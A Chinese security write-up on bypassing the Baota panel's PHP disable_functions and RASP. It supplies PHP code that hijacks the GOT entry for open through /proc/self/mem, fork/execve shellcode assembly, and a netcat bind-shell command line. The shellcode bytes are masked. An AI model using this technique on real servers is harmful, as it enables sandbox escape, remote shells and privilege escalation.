针对宝塔的RASP及其disable_functions的绕过

0x01 实验环境

  • 开启宝塔自带的防跨站攻击。
  • 安装并开启堡塔 PHP 安全防护。
  • 安装并开启堡塔防提权。

0x02 概述

无聊的时候和宝塔开发聊天,听他说了宝塔在开发一个基于底层的 rasp,拦截所有基于 www 权限的命令执行。最近总算上线了,我稍微测试了一下,效果确实不错:

不管是通过 php 来调用 system,会拦截,你是 root 权限的情况下,通过 su www 都会被一并拦截,也就是说 www 基本什么也做不了,我一开始还挺惊讶这 php 居然没崩溃还能运行,开发说加了特殊的兼容,这就让我感兴趣了。在加上业内知名的最全disable_functions名单,成功吸引了我来挑战。

主要挑战内容就是在他们的防跨站,也就是在他们的open_basedir限制了目录的情况下,先突破
disable_functions,然后在突破他们的 rasp。

0x03 如何通过劫持 GOT 表绕过disable_functions

在突破 rasp 前,我们首先得先能碰到 rasp,不然disable_functions都过不去,何来绕过 rasp 之说。

  • 什么是GOT表?
  1. 浅析ELF中的GOT与PLT
  2. 深入了解GOT,PLT和动态链接
  3. 漏洞利用-GOT覆写技术
  4. Linux中的GOT和PLT到底是个啥?

简单来说,某个程序需要调用printf这个函数,先到plt表里面找到对应的got表的里面存放的真正代码块的地址,在根据这个地址跳转到代码块。plt表是不可写的,got表可写,在没有执行之前填充00,在执行的时候由动态连接器填充真正的函数地址进去。假如我们能找到got表的地址,修改他指向的地址,比如把printf的地址和system的地址互换,就会造成我们调用的是printf,但实际上执行的是system,以此来突破disable_functions。

实现

 <?php /***
 *
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
$path="/tmp/ncc";
$args = " -lvvp 7711 -e /bin/bash";
/**
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);


class elf{
    private $elf_bin;
    private $strtab_section=array();
    private $rel_plt_section=array();
    private $dynsym_section=array();
    public $shared_librarys=array();
    public $rel_plts=array();
    public function getElfBin()
{
        return $this->elf_bin;
    }
    public function setElfBin($elf_bin)
{
        $this->elf_bin = fopen($elf_bin,"rb");
    }
    public function unp($value)
{
        return hexdec(bin2hex(strrev($value)));
    }
    public function get($start,$len){
 
        fseek($this->elf_bin,$start);
        $data=fread ($this->elf_bin,$len);
        rewind($this->elf_bin);
        return $this->unp($data);
    }
    public function get_section($elf_bin=""){
        if ($elf_bin){
            $this->setElfBin($elf_bin);
        }
        $this->elf_shoff=$this->get(0x28,8);
        $this->elf_shentsize=$this->get(0x3a,2);
        $this->elf_shnum=$this->get(0x3c,2);
        $this->elf_shstrndx=$this->get(0x3e,2);
        for ($i=0;$i<$this->elf_shnum;$i+=1){
            $sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
            switch ($sh_type){
                case SHT_STRTAB:
                    $this->strtab_section[$i]=
                        array(
                            'strtab_offset'=>$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+24,8),
                            'strtab_size'=>$this->strtab_size=$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+32,8)
                        );
                    break;
                    
                case SHT_RELA:
                    $this->rel_plt_section[$i]=
                        array(
                            'rel_plt_offset'=>$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+24,8),
                            'rel_plt_size'=>$this->strtab_size=$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+32,8),
                            'rel_plt_entsize'=>$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+56,8)
                        );
                    break;
                case SHT_DNYSYM:
                    $this->dynsym_section[$i]=
                        array(
                            'dynsym_offset'=>$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+24,8),
                            'dynsym_size'=>$this->strtab_size=$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+32,8),
                            'dynsym_entsize'=>$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+56,8)
                        );
                    break;
                    
                case SHT_NULL:
                case SHT_PROGBITS:
                case SHT_DYNAMIC:
                case SHT_SYMTAB:
                case SHT_NOBITS:
                case SHT_NOTE:
                case SHT_FINI_ARRAY:
                case SHT_INIT_ARRAY:
                case SHT_GNU_versym:
                case SHT_GNU_HASH:
                     break;
                     
                default:
 //                   echo "who knows what $sh_type this is? ";

              } 
          }
     }
    public function get_reloc(){
        $rel_plts=array();
        $dynsym_section= reset($this->dynsym_section);
        $strtab_section=reset($this->strtab_section);
        foreach ($this->rel_plt_section as $rel_plt ){
             for ($i=$rel_plt['rel_plt_offset'];
                 $i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];
                 $i+=$rel_plt['rel_plt_entsize'])
             {
                 $rel_offset=$this->get($i,8);
                 $rel_info=$this->get($i+8,8)>>32;
                 $fun_name_offset=$this-
>get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'
],4);

 $fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
                $fun_name='';
                while ($this->get(++$fun_name_offset,1)!=""){
                    $fun_name.=chr($this->get($fun_name_offset,1));
                }
                $rel_plts[$fun_name]=$rel_offset;
            }
        }
        $this->rel_plts=$rel_plts;
    }
    public function get_shared_library($elf_bin=""){
        if ($elf_bin){
            $this->setElfBin($elf_bin);
        }
        $shared_librarys=array();
        $dynsym_section=reset($this->dynsym_section);
        $strtab_section=reset($this->strtab_section);
        for
($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];
             $i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];
             $i+=$dynsym_section['dynsym_entsize'])
        {
            $shared_library_offset=$this->get($i+8,8);
            $fun_name_offset=$this->get($i,4);
 $fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
            $fun_name='';
            while ($this->get(++$fun_name_offset,1)!=""){
                $fun_name.=chr($this->get($fun_name_offset,1));
              }
              $shared_librarys[$fun_name]=$shared_library_offset;
         }
         $this->shared_librarys=$shared_librarys;
   }
   public function close(){
       fclose($this->elf_bin);
   }
   
   public function __destruct()
   {
       $this->close();
   }
   public function packlli($value) {
       $higher = ($value & 0xffffffff00000000) >> 32;
       $lower = $value & 0x00000000ffffffff;
       return pack('V2', $lower, $higher);
   }
}
  • 我们简单实现一个读取 elf 文件各表的 php 代码。
  • 其中get_section函数根据各表的偏移提取出对应的值保存。
  • get_reloc函数获取 PLT 表里面保存的指向 GOT 表的值。
  • get_shared_library函数则是解析 libc 库的。

接下来在成功解析目标执行的 php 文件后,拿到对应 GOT 表的偏移后,我们可以通过/proc/self/maps拿到正在执行的 php 的内存布局,来找到一个可写可执行的内存块用来放我们的shellcode。同时获得堆棧的内存地址:

$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps'); 
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
echo "Stack location: ".$stack[1]."\n";
$pie_base = hexdec("0x".(explode('-', $maps)[0])); 
echo "PIE base: ".$pie_base."\n";

至此,我们已经做好全部的准备,如果没有宝塔的 RASP,单纯的disable_functions的话,就可以在这里通过get_shared_library函数去解析 libc 里面的 system 的地址,然后把 open 在 GOT 表里面的地址覆写成 system 的地址,即可绕过disable_functions

可惜的是,宝塔的 rasp 会拦截所有基于 www 权限的 bash 的执行,在这我们绕过了disable_functions也只是收获了一条无情的拦截提示:

这里我们就要思考,为什么我们需要 system 这个函数?是为了弹个 nc 回来,到处 cd 在加个 ls -la 玩吗?显然不是,这样的需求 php 也可以满足。我们实际上的目的是去执行我们提权的 exp,也就是去执行其他的代码,其他的文件。而不是单纯的执行个 id,看一眼 www 的回显,然后到处 cd 玩的。

0x04 解决宝塔的 RASP

在这,我们通过不把 open 的 GOT 表地址修改成 system 的地址,而是改成我们 shellcode 的地址,这里本质上是我们已经控制了 php 的 eip 了,我们只需要在内存里面写入我们的 shellcode ,在让 got 表指向这个地址,就可以让 php 来执行我们的提权的 exp 或者其他任何我们想让他做的东西。

实现

我们接下来根据php加载在内存里面的地址,开辟一个风水宝地来存放我们的shellcode,同时让GOT表里面的open函数的地址指向这个shellcode的地址:

$mem = fopen('/proc/self/mem', 'wb');
$shellcode_loc = $pie_base + 0x2333; fseek($mem, $open_php);
fwrite($mem,  $test->packlli($shellcode_loc));

这段代码,我们利用/proc/self/mem来访问自己的内存,同时根据之前获取到的拥有可写可执行权限的内存块,来开辟一个放 shellcode 的地方,也就是$shellcode_loc 同时我们这里已经修改了 GOT 表中
open 指向的地址为我们的$shellcode_loc的地址。

接下来我们要准备我们的 shellcode 了,我这里是通过 fork 来开辟一个新进程,在新进程里面通过execve来启动我们的提权 exp,这里也可以直接放 msf 生产的 shellcode,自由发挥:

push    0x39
pop eax
syscall
test    eax, eax
jne 0x31
push    0x70
pop eax
syscall
push    0x39
pop eax
syscall
test    eax, eax
jne 0x31

这段简单的汇编非常简单,我们通过 0x39 这个系统调用号来调用 fork 函数,我们这里 push 入参然后
syscall 调用, test 通过判断 eax 是否为 0 来判断有没有调用成功,如果失败则 ZF 标志为 1 通过 jne 圆滑的离开。剩下的基本一样,先后调用 0x39,0x70,0x39,也就是通过调用 fork 创建子进程, setsid 切到子进程,再 fork 一次。然后我们就得到了一个独立且脱离终端控制的新进程了。
接下来我们调用 execve 来指向我们的程序:

mov rdi, 0xffffffffffffffff ; filename
mov rsi, 0xffffffffffffffff ; argv
xor edx, edx
push    0x3b
pop eax
syscall
ret
push    0
pop edi
push    0x3c
pop eax
syscall

然后用 nasm 编译得到 shellcode,接下来就差处理我们需要执行的文件和参数了:

$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$path}\x00");
$filename_ptr = $stack;

我们这里给获得堆棧的地址,入参我们需要执行的文件的地址,然后保存这个地址$filename_ptr 等待接下来拼接入 shellcode,然后就是我们需要执行的文件的参数的入参:

$stack += strlen($path) + 1;
fseek($mem, $stack);
fwrite($mem, str_replace(" ", "\x00", $args) . "\x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
    fseek($mem, $arg_ptr);
    fwrite($mem, $test->packlli($str_ptr));
    $arg_ptr += 8;
    $str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli(0x00));
echo "Argv: " . $args . "\n";
echo "ELF PATH $path\n";

到这,我们已经准备好所有的东西了,接下来在 GOT 表里 open 函数指向的地址,也就是我们一开始找到的一个可写可执行的地址$shellcode_loc = $pie_base + 0x2333; 写入我们的 shellcode:

$shellcode = "shellcode打马赛克". $test->packlli($filename_ptr) ."shellcode打马赛克" .$test->packlli($argv_ptr) ."shellcode打马赛克";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);

完成整个利用。

  • 流程为:
    1. 解析 php 文件获得 plt 里面 open 指向 plt 表的地址
    2. 通过获取到的 plt 表的地址,等待程序运行填充 00 后将这个地址修改为我们准备放 shellcode 的风水宝地。
    3. 丢入 shellcode,完成劫持 GOT 表。
      接下来我们随便执行一个有文件操作,也就是会调用 libc 里面的 open 函数的 php 函数,即可触发:
readfile('email->xiaozeend@pm.me', 'r');
echo "DONE\n";
exit();
  • 完整的利用就出来了:

  • 调试

    我调试的源码为 PHP7.1.10,在最后的触发 shellcode 的readfile函数处下的断点。然后用 GDB 给 GOT 表里面我们修改的那个 shellcode 的起始地址下一个断点,

  • 执行:

    就成功断在我们 shellcode 的入口了,在这我们就看到我们之前编写的 shellcode ,之后就可以慢慢调试你的 shellcode 了。

0x05 其他

  • 只作为思路分享,exp不公开。
  • 错误的地方请通过邮箱 xiaozeend@pm.me 和我取得联系并帮助我修正。

主要引用与参考

  1. https://www.anquanke.com/post/id/183370#h2-17
  2. blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
  3. http://asm.sourceforge.net/syscall.html#s-arch
  4. https://2018.zeronights.ru/wp-content/uploads/materials/09-ELF-execution-in-Linux-RAM.pdf
  5. https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
  6. 为了省略篇幅,只列出了主要参考内容。